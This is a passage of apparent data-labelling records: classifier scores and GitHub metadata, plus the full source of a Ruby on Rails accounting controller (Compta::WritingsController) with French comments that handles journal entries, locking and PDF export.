0.0008848722331039902, "Missing Content": 0.0003940788495948243, "Knowledge Article": 0.001571425281539073, "Legal Notices": 0.00020402684310679407, "News Article": 0.00012335757820147706, "Organizational Announcement": 0.00014091760946286947, "Nonfiction Writing": 0.00014364612738374568, "Organizational About Page": 0.00017026137951934353, "Personal About Page": 0.00012867738069738052, "Personal Blog": 0.00011877111930836374, "Product Page": 9.992731108390388e-05, "Spam / Ads": 0.00016477443872044907, "Structured Data": 0.022194669341269735, "Technical Writing": 0.011620887712868339, "Transcript / Interview": 0.00012881305369756145, "Tutorial / How-To Guide": 0.025800661252589254, "User Reviews": 6.692775254285958e-05, "NONE": 0.9330355793157326}, "structured_records": {"false": 0.4440236838247199, "true": 0.5559763161752801}, "procedural_steps": {"false": 0.9984594094150355, "true": 0.0015405905849644565}, "worked_solution": {"false": 0.9996293421316832, "true": 0.0003706578683167876}, "contextual_dialogue": {"false": 0.9999915014316836, "true": 8.498568316403956e-06}, "content_quality": {"-2": 0.007396281132047142, "-1": 0.03042600873311458, "0": 0.25905305077531554, "1": 0.49260578204533106, "2": 0.21051887731419155}, "noise_severity": {"0": 0.6204405369318787, "1": 0.2853608571674649, "2": 0.08437262186030059, "3": 0.006666010827576603, "4": 0.003159973212779195}, "missing_content_severity": {"0": 0.996405696157944, "1": 0.0017089152808530265, "2": 0.0013092640285288367, "3": 0.000420622899352717, "4": 0.0001555016333213285}, "factual_density": {"0": 0.002802046369876721, "1": 0.006194418953967772, "2": 0.07992887361602226, "3": 0.36518645410641937, "4": 0.5458882069537139}, "pretraining_utility": {"-2": 0.021740884391950755, "-1": 0.20930378889414442, "0": 0.4356308091735977, "1": 0.2863537711666852, "2": 0.04697074637362172}, "math_density": {"0": 0.8674827005838731, "1": 0.1259649177168483, "2": 0.0022535909671118227, "3": 0.000890612771022725, "4": 0.003408177961143972}, "code_density": {"0": 0.00037091598124129404, "1": 0.0009000786323340784, "2": 0.038749558829536644, "3": 0.26378889835922076, "4": 0.6961905481976672}, "reasoning_density": {"0": 0.9218490449421622, "1": 0.06666335048916067, "2": 0.009812881641611138, "3": 0.0011082012235911496, "4": 0.0005665217034748722}, "education_level": {"none": 0.0014836967792593884, "0": 0.002027614321032539, "1": 0.04008433079888492, "2": 0.7780208826076714, "3": 0.16217860246961613, "4": 0.01620487302353581}, "creative_writing_quality": {"not_applicable": 0.9992776809956438, "-2": 9.98758787372946e-05, "-1": 0.00016731765660155345, "0": 0.0003247389287366451, "1": 9.208928514772538e-05, "2": 3.829725513288889e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00010690990519544805, "Art & Design": 0.0002429282841118694, "Law & Crime": 0.00010560633984162075, "Education & Careers": 0.00012358418169290393, "Entertainment & Media": 0.0001365283668574447, "Fashion & Beauty": 0.00016990014519458705, "Business, Economics & Finance": 0.002511235655317878, "Food & Dining": 0.0002474539833996299, "Games & Gaming": 0.00019137624488017318, "Electronics & Hardware": 0.00017406577712413113, "Health, Healthcare & Wellness": 9.391384703665214e-05, "History & Geography": 0.0001190345268308104, "Home, Pets & Hobbies": 0.00918453580424405, "Industry & Production": 0.0015966411985428933, "Language, Literature & Philosophy": 0.00010695472479054788, "Politics & Government": 7.831817175106292e-05, "Religion & Spirituality": 9.437704223579043e-05, "Science, Mathematics & Engineering": 0.0002936266443272099, "Relationships & Community": 0.0001382966220025531, "Software Usage & Applications": 0.00833477215457578, "Programming & Software Engineering": 0.9627652530889554, "Sports & Fitness": 0.00019044960777329852, "Vehicles & Transportation": 0.008523064853177664, "Travel & Tourism": 0.0017966428593002711, "Other / Uncovered Subject": 0.002148351659019088, "Unknown / Insufficient Content": 0.0005261783118211664}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008226910200148171, "Art & Design": 0.001270864744944551, "Law & Crime": 0.0007855055274360472, "Education & Careers": 0.000470463327681791, "Entertainment & Media": 0.0007362991042121084, "Fashion & Beauty": 0.0004936708644964731, "Business, Economics & Finance": 0.008519201827348765, "Food & Dining": 0.0006602487589109768, "Games & Gaming": 0.0006307920190195676, "Electronics & Hardware": 0.0005097826652760686, "Health, Healthcare & Wellness": 0.00046775424378400326, "History & Geography": 0.00043047098028262267, "Home, Pets & Hobbies": 0.023402517201113887, "Industry & Production": 0.002001760535206714, "Language, Literature & Philosophy": 0.0002813737175603906, "Politics & Government": 0.00035247350997813287, "Religion & Spirituality": 0.0004275473128553194, "Science, Mathematics & Engineering": 0.0006395662264079071, "Relationships & Community": 0.0003036045149385124, "Software Usage & Applications": 0.020827893952800276, "Programming & Software Engineering": 0.020013836017538256, "Sports & Fitness": 0.00046897341946278945, "Vehicles & Transportation": 0.005650493987883382, "Travel & Tourism": 0.004694461900094606, "Other / Uncovered Subject": 0.0038629273807165294, "NONE": 0.9012748252400355}}, "probabilities": {"primary": {"Academic Writing": 4.1116200127837226e-05, "Content Listing": 0.00013365067502991103, "Creative Writing": 1.758772129965205e-05, "Customer Support Page": 1.8045103876015006e-05, "Q&A Forum": 1.584442235524355e-05, "Discussion Thread": 1.2270611205857305e-05, "Comment Section": 2.1720142839678032e-05, "Missing Content": 3.4612978312622346e-05, "Knowledge Article": 0.00013325549954121176, "Legal Notices": 3.886147262854826e-05, "News Article": 6.753137108078892e-06, "Organizational Announcement": 1.679672345906506e-05, "Nonfiction Writing": 1.4323159688658869e-05, "Organizational About Page": 2.112640989559337e-05, "Personal About Page": 2.0458129187904995e-05, "Personal Blog": 1.1151681046409552e-05, "Product Page": 1.115443055136619e-05, "Spam / Ads": 1.8254523277324417e-05, "Structured Data": 0.004606518054090137, "Technical Writing": 0.9926792134097917, "Transcript / Interview": 1.598830336734485e-05, "Tutorial / How-To Guide": 0.0005804164383700309, "User Reviews": 9.026850930409809e-06, "Other / Unknown": 0.0015218539220193696}, "secondary": {"Academic Writing": 0.00036034092908905293, "Content Listing": 0.0015392554239642424, "Creative Writing": 0.00024602098815766724, "Customer Support Page": 0.00035558913134635617, "Q&A Forum": 0.00016012906820911336, "Discussion Thread": 0.00012480870516812467, "Comment Section": 0.0013721543282446565, "Missing Content": 0.0004708715510220311, "Knowledge Article": 0.0019345274232901227, "Legal Notices": 0.0002269815107149343, "News Article": 0.0001982671044872144, "Organizational Announcement": 0.00019719940603612153, "Nonfiction Writing": 0.00018833460501238222, "Organizational About Page": 0.00023239480490643588, "Personal About Page": 0.00019066451941864265, "Personal Blog": 0.00018665399518767544, "Product Page": 0.00011781245200007738, "Spam / Ads": 0.0002245401142072698, "Structured Data": 0.03239030326465421, "Technical Writing": 0.017076908070758116, "Transcript / Interview": 0.00018816566793339835, "Tutorial / How-To Guide": 0.02320086200972945, "User Reviews": 9.45529489137029e-05, "NONE": 0.918722661977549}, "tertiary": {"Academic Writing": 0.00022584197447615554, "Content Listing": 0.0021167831096992598, "Creative Writing": 0.00018462768981130143, "Customer Support Page": 0.0002979363350715317, "Q&A Forum": 9.299475945464224e-05, "Discussion Thread": 8.954155106463194e-05, "Comment Section": 0.0008848722331039902, "Missing Content": 0.0003940788495948243, "Knowledge Article": 0.001571425281539073, "Legal Notices": 0.00020402684310679407, "News Article": 0.00012335757820147706, "Organizational Announcement": 0.00014091760946286947, "Nonfiction Writing": 0.00014364612738374568, "Organizational About Page": 0.00017026137951934353, "Personal About Page": 0.00012867738069738052, "Personal Blog": 0.00011877111930836374, "Product Page": 9.992731108390388e-05, "Spam / Ads": 0.00016477443872044907, "Structured Data": 0.022194669341269735, "Technical Writing": 0.011620887712868339, "Transcript / Interview": 0.00012881305369756145, "Tutorial / How-To Guide": 0.025800661252589254, "User Reviews": 6.692775254285958e-05, "NONE": 0.9330355793157326}, "structured_records": {"false": 0.4440236838247199, "true": 0.5559763161752801}, "procedural_steps": {"false": 0.9984594094150355, "true": 0.0015405905849644565}, "worked_solution": {"false": 0.9996293421316832, "true": 0.0003706578683167876}, "contextual_dialogue": {"false": 0.9999915014316836, "true": 8.498568316403956e-06}, "content_quality": {"-2": 0.0073962811320471425, "-1": 0.030426008733114584, "0": 0.2590530507753156, "1": 0.4926057820453311, "2": 0.21051887731419158}, "noise_severity": {"0": 0.6204405369318787, "1": 0.2853608571674649, "2": 0.08437262186030059, "3": 0.006666010827576603, "4": 0.003159973212779195}, "missing_content_severity": {"0": 0.996405696157944, "1": 0.0017089152808530265, "2": 0.0013092640285288367, "3": 0.000420622899352717, "4": 0.0001555016333213285}, "factual_density": {"0": 0.002802046369876721, "1": 0.006194418953967772, "2": 0.07992887361602226, "3": 0.36518645410641937, "4": 0.5458882069537139}, "pretraining_utility": {"-2": 0.02174088439195076, "-1": 0.20930378889414447, "0": 0.4356308091735978, "1": 0.28635377116668526, "2": 0.04697074637362173}, "math_density": {"0": 0.8674827005838732, "1": 0.12596491771684834, "2": 0.002253590967111823, "3": 0.0008906127710227251, "4": 0.0034081779611439722}, "code_density": {"0": 0.00037091598124129404, "1": 0.0009000786323340784, "2": 0.038749558829536644, "3": 0.26378889835922076, "4": 0.6961905481976672}, "reasoning_density": {"0": 0.9218490449421622, "1": 0.06666335048916067, "2": 0.009812881641611138, "3": 0.0011082012235911496, "4": 0.0005665217034748722}, "education_level": {"none": 0.001483696779259388, "0": 0.0020276143210325387, "1": 0.04008433079888491, "2": 0.7780208826076712, "3": 0.1621786024696161, "4": 0.016204873023535807}, "creative_writing_quality": {"not_applicable": 0.9992776809956438, "-2": 9.98758787372946e-05, "-1": 0.00016731765660155345, "0": 0.0003247389287366451, "1": 9.208928514772538e-05, "2": 3.829725513288889e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.00010690990519544805, "Art & Design": 0.0002429282841118694, "Law & Crime": 0.00010560633984162075, "Education & Careers": 0.00012358418169290393, "Entertainment & Media": 0.0001365283668574447, "Fashion & Beauty": 0.00016990014519458705, "Business, Economics & Finance": 0.002511235655317878, "Food & Dining": 0.0002474539833996299, "Games & Gaming": 0.00019137624488017318, "Electronics & Hardware": 0.00017406577712413113, "Health, Healthcare & Wellness": 9.391384703665214e-05, "History & Geography": 0.0001190345268308104, "Home, Pets & Hobbies": 0.00918453580424405, "Industry & Production": 0.0015966411985428933, "Language, Literature & Philosophy": 0.00010695472479054788, "Politics & Government": 7.831817175106292e-05, "Religion & Spirituality": 9.437704223579043e-05, "Science, Mathematics & Engineering": 0.0002936266443272099, "Relationships & Community": 0.0001382966220025531, "Software Usage & Applications": 0.00833477215457578, "Programming & Software Engineering": 0.9627652530889554, "Sports & Fitness": 0.00019044960777329852, "Vehicles & Transportation": 0.008523064853177664, "Travel & Tourism": 0.0017966428593002711, "Other / Uncovered Subject": 0.002148351659019088, "Unknown / Insufficient Content": 0.0005261783118211664}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008226910200148171, "Art & Design": 0.001270864744944551, "Law & Crime": 0.0007855055274360472, "Education & Careers": 0.000470463327681791, "Entertainment & Media": 0.0007362991042121084, "Fashion & Beauty": 0.0004936708644964731, "Business, Economics & Finance": 0.008519201827348765, "Food & Dining": 0.0006602487589109768, "Games & Gaming": 0.0006307920190195676, "Electronics & Hardware": 0.0005097826652760686, "Health, Healthcare & Wellness": 0.00046775424378400326, "History & Geography": 0.00043047098028262267, "Home, Pets & Hobbies": 0.023402517201113887, "Industry & Production": 0.002001760535206714, "Language, Literature & Philosophy": 0.0002813737175603906, "Politics & Government": 0.00035247350997813287, "Religion & Spirituality": 0.0004275473128553194, "Science, Mathematics & Engineering": 0.0006395662264079071, "Relationships & Community": 0.0003036045149385124, "Software Usage & Applications": 0.020827893952800276, "Programming & Software Engineering": 0.020013836017538256, "Sports & Fitness": 0.00046897341946278945, "Vehicles & Transportation": 0.005650493987883382, "Travel & Tourism": 0.004694461900094606, "Other / Uncovered Subject": 0.0038629273807165294, "NONE": 0.9012748252400355}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9688, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9688, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:11.134138+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "fd751d04-d04f-41aa-b4fb-118301fda4d4", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "50892c64cb6bada5fef9c0738ded7d5aa9dae4d323be431ea4ed161f93cee340", "source_metadata": {"uuid": "fd751d04-d04f-41aa-b4fb-118301fda4d4", "repo_name": "Evon1/StorageDirectory", "relative_path": "config/routes.rb", "category": "CONFIG", "algo_rel_score": 0.9919249415397644, "quality_score": 6.58720064163208, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 188, "repo_created_at": "2010-07-15T12:29:46.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 1, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "fb6b17a56042410e1e6cb0d0a1b13e5cfd7edeef", "size_bytes": 4669, "file_timestamp": 1279178583, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "519750ad0bc80b080ffb73c6f9d661dce91fffce"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 188, "repo_created_at": "2010-07-15T12:29:46.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 1, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "fb6b17a56042410e1e6cb0d0a1b13e5cfd7edeef", "size_bytes": 4669, "file_timestamp": 1279178583, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "519750ad0bc80b080ffb73c6f9d661dce91fffce", "url": "https://github.com/Evon1/StorageDirectory/blob/519750ad0bc80b080ffb73c6f9d661dce91fffce/config/routes.rb"}, "gpt4o_tokens": 1156, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.8684249656765054, "noise_severity": 0.48674402622191265, "missing_content_severity": 0.006211318569254165, "factual_density": 3.445164356320126, "pretraining_utility": 0.12750970623588273, "math_density": 0.14677664980871605, "code_density": 3.6545280841597387, "reasoning_density": 0.09187980425705589, "education_level": 2.1506723411430153, "creative_writing_quality": -0.274650974799542}, "score_applicability": {"education_level": 0.9985163032207406, "creative_writing_quality": 0.0007223190043561074}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/comptasso/FaitesLesComptes/blob/62660fccb9e37f88e2bf4c92ad16aef3d5420a7a/app/controllers/compta/writings_controller.rb", "id": "ruby-0-447d6099dc4f832379c9c990dc9e8840", "text": "# -*- encoding : utf-8 -*-\n\nclass Compta::WritingsController < Compta::ApplicationController\n\n include Pdf::Controller\n\n\n before_filter :find_book\n before_filter :prefill_date, :only=>:new\n\n before_filter :set_exporter, :only=>[:produce_pdf, :pdf_ready, :deliver_pdf]\n\n # GET /writings\n # GET /writings.json\n def index\n # pas de sélection par mois pour la AnBook\n if @book.type == 'AnBook'\n params[:mois] = 'tous'\n params[:an] = nil\n end\n if params[:mois]\n find_writings\n else\n my = MonthYear.from_date(@period.guess_month)\n redirect_to compta_book_writings_url(@book, mois:my.month, an:my.year) and return\n end\n send_export_token\n\n respond_to do |format|\n format.html # index.html.erb\n format.csv { send_data @extract.to_csv, filename:export_filename(@extract, :csv) }\n format.xls { send_data @extract.to_xls, filename:export_filename(@extract, :csv) }\n\n end\n end\n\n\n\n # GET /writings/new\n # GET /writings/new.json\n def new\n flash.now[:alert] = 'Peut-être devriez vous plutôt écrire sur ce livre dans la partie saisie' if @book.type.in? ['IncomeBook', 'OutcomeBook']\n @writing = @book.writings.new(date: @d)\n if flash[:previous_writing_id]\n @previous_writing = Writing.find_by_id(flash[:previous_writing_id])\n end\n 2.times {@writing.compta_lines.build}\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @writing }\n end\n end\n\n # action javascript pour rajouter une ligne au formulaire de saisie\n # cette action est définie deux foix dans routes, une en tant que member\n # lorsqu'on est en édition, l'autre en tant que collection quand on est en\n # nouvelle écriture.\n #\n # Cette méthode est appellée par l'appel ajax de $deal_icon_plus défini\n # dans compta::writing.js\n #\n # La seule chose que fasse add_line est de définir une instance quelconque\n # de Writing (pour que le partiel simple_form_for connaisse les compta_lines\n # et de fixer le numéro de ligne du formulaire de compta_line qui sera ajouté.\n #\n def add_line\n params.permit(:num_line)\n @num_line = params[:num_line].to_i + 1\n @writing = Writing.new\n end\n\n # GET /writings/1/edit\n def edit\n @writing = Writing.find(params[:id])\n end\n\n # POST lock\n # action qui verrouille l'écriture\n # TODO transformer cette action en remote pour éviter de reconstruire toute la vue\n # l'utilisation des paramètres permet de revenir au mois affiché (ou à la vue tous)\n def lock\n @mois = params[:mois]\n @an = params[:an]\n @writing = Writing.find(params[:id])\n @writing.lock\n redirect_to compta_book_writings_url(@book, :mois=>@mois, an:@an)\n end\n\n # POST all_lock\n # action qui verrouille la totalité des écritures qui peuvent être verrouillées\n def all_lock\n find_writings\n @writings.unlocked.each {|w| w.lock if w.compta_editable?}\n redirect_to compta_book_writings_url(@book)\n end\n\n # POST /writings\n # POST /writings.json\n def create\n params[:writing][:date_picker] ||= l(@period.start_date)\n @writing = @book.writings.new(compta_writing_params)\n fill_author(@writing)\n respond_to do |format|\n if @writing.save\n flash[:date]=@writing.date # permet de transmettre la date à l'écriture suivante\n flash[:previous_writing_id]=@writing.id\n format.html {\n if @book.type == 'AnBook'\n redirect_to compta_book_writings_url(@book)\n else\n redirect_to new_compta_book_writing_url(@book)\n end\n }\n else\n format.html { render action: \"new\" }\n end\n end\n end\n\n # PUT /writings/1\n # PUT /writings/1.json\n def update\n @writing = Writing.find(params[:id])\n fill_author(@writing)\n respond_to do |format|\n if @writing.update_attributes(compta_writing_params)\n my = MonthYear.from_date(@writing.date)\n format.html { redirect_to compta_book_writings_url(@book, mois:my.month, an:my.year), notice: 'Ecriture mise à jour.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end\n\n # DELETE /writings/1\n # DELETE /writings/1.json\n def destroy\n @writing = Writing.find(params[:id])\n @writing.destroy\n\n respond_to do |format|\n my = MonthYear.from_date(@writing.date)\n format.html { redirect_to compta_book_writings_url(@book, mois:my.month, an:my.year), notice: \"Ecriture n° #{@writing.id} effacée\" }\n end\n end\n\n protected\n\n def find_book\n @book = Book.find(params[:book_id])\n end\n\n def find_writings\n find_dates\n @extract = Extract::ComptaBook.new(@book, @period, @from_date, @to_date)\n @writings = @extract.writings\n end\n\n def find_dates\n if params[:mois] && params[:an]\n @mois = params[:mois]\n @an = params[:an]\n date = Date.civil(@an.to_i, @mois.to_i, 1) rescue @period.guess_month\n @from_date = date.beginning_of_month\n @to_date = date.end_of_month\n else\n @mois = 'tous'\n @from_date = @period.start_date\n @to_date = @period.close_date\n end\n end\n\n # préremplit la date\n def prefill_date\n @d = flash[:date] # en priorité la date venant de l'écriture précédente\n @d = @period.start_date if @book.type == 'AnBook' # mais toujours le début de l'éxercice si livre d'A Nouveau\n @d ||= @period.guess_date # sinon par défaut, on devine\n end\n\n private\n\n # créé les variables d'instance attendues par le module PdfController\n def set_exporter\n @exporter = @book\n @pdf_file_title = @book.title\n find_dates\n end\n\n # création du job et insertion dans la queue\n def enqueue(pdf_export)\n Delayed::Job.enqueue Jobs::ComptaBookPdfFiller.new( Tenant.current_tenant.id,\n pdf_export.id, {period_id:@period.id, from_date:@from_date, to_date:@to_date})\n end\n\n def compta_writing_params\n params.require(:writing).permit(:id,\n :date, :date_picker, :date_piece, :date_piece_picker,\n :narration, :ref,\n :book_id, :bridge_id, :bridge_type,\n compta_lines_attributes: [:id, :_destroy, :debit, :credit,\n :writing_id, :account_id,\n :nature, :nature_id, :destination_id,\n :check_number, :payment_mode, :check_deposit_id] )\n\n end\n\n\nend\n", "text_preview": "# -*- encoding : utf-8 -*- class Compta::WritingsController < Compta::ApplicationController include Pdf::Controller before_filter :find_book before_filter :prefill_date, :only=>:new before_filter :set_exporter, :only=>[:produce_pdf, :pdf_re", "input_sha256": "7a56db1d0363825d66eb9fc465d9256f845128bce0e886a0bde58e3d4d7997be", "text_sha256": "447d6099dc4f832379c9c990dc9e884047d8796a44731cd6680347509ae41523", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16021, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9366318801337775, "noise_severity": 0.03474936279993794, "missing_content_severity": 0.020891282604167172, "factual_density": 3.4414450272581614, "pretraining_utility": 0.36109228043290303, "math_density": 0.10083438912412644, "code_density": 3.7700732512385953, "reasoning_density": 0.4090590711547265, "education_level": 2.3640331988380114, "creative_writing_quality": -0.37588118230477024}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.00989098491490592, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9978878686301192, "secondary": 0.9742611844272544, "tertiary": 0.9845822121645477, "structured_records": 0.005867062465010629, "procedural_steps": 0.003246355459638086, "worked_solution": 0.0006676767599274834, "contextual_dialogue": 8.7152553451788e-06, "content_quality": 0.5456270331538378, "noise_severity": 0.9710421976667184, "missing_content_severity": 0.9825905978298607, "factual_density": 0.5345375227151344, "pretraining_utility": 0.46928790710412704, "math_density": 0.9159713423965613, "code_density": 0.8083943760321629, "reasoning_density": 0.6591174407043947, "education_level": 0.5693207227732908, "creative_writing_quality": 0.9993727796570536, "primary_topic": 0.9728811822365623, "secondary_topic": 0.6199384215117659}, "probability_margin": {"primary": 0.996768673950636, "secondary": 0.9635618520506379, "tertiary": 0.9790734314079393, "education_level": 0.3253166087956984, "creative_writing_quality": 0.9992503152567785, "primary_topic": 0.9522972594703968, "secondary_topic": 0.33825488081570937}, "raw_probabilities": {"primary": {"Academic Writing": 2.1307565404266034e-05, "Content Listing": 1.8421133964151887e-05, "Creative Writing": 1.192738721050009e-05, "Customer Support Page": 8.799301256245835e-06, "Q&A Forum": 7.514184388862493e-06, "Discussion Thread": 5.19553044966618e-06, "Comment Section": 1.0282501542405804e-05, "Missing Content": 2.0771699500440984e-05, "Knowledge Article": 5.875467037197236e-05, "Legal Notices": 2.5678946687536686e-05, "News Article": 3.096061923582222e-06, "Organizational Announcement": 8.085334296065093e-06, "Nonfiction Writing": 7.478795864601161e-06, "Organizational About Page": 8.071220487988583e-06, "Personal About Page": 6.287539577105589e-06, "Personal Blog": 5.216337754790022e-06, "Product Page": 4.915563822900547e-06, "Spam / Ads": 6.716258246525939e-06, "Structured Data": 0.0004578110065713221, "Technical Writing": 0.9979758741038642, "Transcript / Interview": 9.430670954141279e-06, "Tutorial / How-To Guide": 0.0001063331965800216, "User Reviews": 4.830836052548468e-06, "Other / Unknown": 0.0012072001532282437}, "secondary": {"Academic Writing": 0.0001989154711534976, "Content Listing": 0.00022815234023013011, "Creative Writing": 0.0001867722159435608, "Customer Support Page": 0.00015050108345274275, "Q&A Forum": 7.343340914145242e-05, "Discussion Thread": 6.837302360418747e-05, "Comment Section": 0.001216236442898802, "Missing Content": 0.0004663397917222859, "Knowledge Article": 0.0015608982900220017, "Legal Notices": 0.00018641942691749932, "News Article": 8.986825875660176e-05, "Organizational Announcement": 9.642376284478907e-05, "Nonfiction Writing": 0.0002321593160400439, "Organizational About Page": 0.00011497915886583853, "Personal About Page": 7.797966453793783e-05, "Personal Blog": 8.97154481603037e-05, "Product Page": 5.24234156511085e-05, "Spam / Ads": 9.291089490785845e-05, "Structured Data": 0.006630936513929889, "Technical Writing": 0.011771783025480874, "Transcript / Interview": 0.00011068204255263548, "Tutorial / How-To Guide": 0.0009161165620910851, "User Reviews": 5.434536497598208e-05, "NONE": 0.9753336350761188}, "tertiary": {"Academic Writing": 0.0001143140931717889, "Content Listing": 0.00018964601139518218, "Creative Writing": 0.0001331621179083492, "Customer Support Page": 0.00011880200433141799, "Q&A Forum": 4.169338468188956e-05, "Discussion Thread": 4.4978104114263626e-05, "Comment Section": 0.0010608589144491696, "Missing Content": 0.0004927445259086099, "Knowledge Article": 0.001501154453331496, "Legal Notices": 0.00022760896285524014, "News Article": 5.4076021653687736e-05, "Organizational Announcement": 6.589545235859498e-05, "Nonfiction Writing": 0.00022319607036357558, "Organizational About Page": 9.338055844979815e-05, "Personal About Page": 4.946315447645516e-05, "Personal Blog": 6.256871327351405e-05, "Product Page": 4.0517410440963685e-05, "Spam / Ads": 7.27113289162172e-05, "Structured Data": 0.0027600504505680655, "Technical Writing": 0.006151188583085508, "Transcript / Interview": 7.38241839902905e-05, "Tutorial / How-To Guide": 0.0011676561929580512, "User Reviews": 3.588931629308436e-05, "NONE": 0.9852246199910248}, "structured_records": {"false": 0.9941329375349893, "true": 0.005867062465010629}, "procedural_steps": {"false": 0.9967536445403619, "true": 0.003246355459638086}, "worked_solution": {"false": 0.9993323232400725, "true": 0.0006676767599274834}, "contextual_dialogue": {"false": 0.9999912847446548, "true": 8.7152553451788e-06}, "content_quality": {"-2": 0.0053895618645112536, "-1": 0.02186935764498698, "0": 0.2444004391573009, "1": 0.4874009211586148, "2": 0.24093972017458604}, "noise_severity": {"0": 0.9691192452473397, "1": 0.02833355130789101, "2": 0.0016250514952110121, "3": 0.0005228992966082141, "4": 0.00039925265295006663}, "missing_content_severity": {"0": 0.9838167641635841, "1": 0.013069574574793573, "2": 0.0018464903362995372, "3": 0.0009399563445173743, "4": 0.0003272145808056023}, "factual_density": {"0": 0.004429109092982962, "1": 0.009353444321871159, "2": 0.0801587895730553, "3": 0.3524606242581827, "4": 0.5535980327539078}, "pretraining_utility": {"-2": 0.009634544873307045, "-1": 0.11861202577445815, "0": 0.43218029108123773, "1": 0.38017288058801885, "2": 0.05940025768297822}, "math_density": {"0": 0.925926241977312, "1": 0.06164314167366248, "2": 0.004230933417344716, "3": 0.002069351110949072, "4": 0.00613033182073183}, "code_density": {"0": 0.00034288854832113753, "1": 0.0006667463680100016, "2": 0.0194962262130515, "3": 0.187562503037987, "4": 0.7919316358326304}, "reasoning_density": {"0": 0.7388632266687238, 